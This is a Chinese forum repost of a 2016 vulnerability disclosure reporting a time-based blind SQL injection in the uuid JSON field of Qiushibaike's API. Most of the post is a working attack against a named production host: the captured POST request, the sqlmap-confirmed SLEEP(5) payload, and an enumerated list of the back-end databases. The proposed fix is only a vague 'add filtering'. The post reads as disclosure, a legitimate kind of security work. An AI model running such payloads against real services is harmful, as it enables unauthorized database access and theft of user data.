HanDs
管理员

[7月漏洞公开] 糗事百科api接口一处基于时间的SQL盲注(json格式) 



rt
最近被动测试神器好久都没发现洞了
闲着没事逛糗事百科 滴 来邮件了 注入点到手
看糗事百科的历史 竟然没有注入 。我来带个头
ps:
我最想知道的就是你们第一个洞下面的评论是真的吗
http://www.wooyun.org/bugs/wooyun-2013-025871
这厂商说过他们的洞 最少会给1K rmb

详细说明:

代理抓下来的post包

code 区域
POST /calc HTTP/1.1
Host: api.qiushibaike.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 119

{"uuid":"ios_894A9D9674DC47EF1311B2EFCE188073","newuser":"false","openudid":"7c28c7e4a694049ea78a4024eef3d4413a5fc385"}





注入点uuid

漏洞证明:

code 区域
sqlmap identified the following injection point(s) with a total of 440 HTTP(s) requests:
---
Parameter: JSON uuid ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: {"uuid":"ios_894A9D9674DC47EF1311B2EFCE188073' AND (SELECT * FROM (SELECT(SLEEP(5)))Xcvn) AND 'sOuW'='sOuW","newuser":"false","openudid":"7c28c7e4a694049ea78a4024eef3d4413a5fc385"}
---
[21:09:13] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12



code 区域
available databases [5]:
[*] information_schema
[*] mi_calendar
[*] qb_calc
[*] simpic
[*] test





跑得太慢 其他就不跑了 已经可以证明了

修复方案:

过滤弄好


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
百科 a pi
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复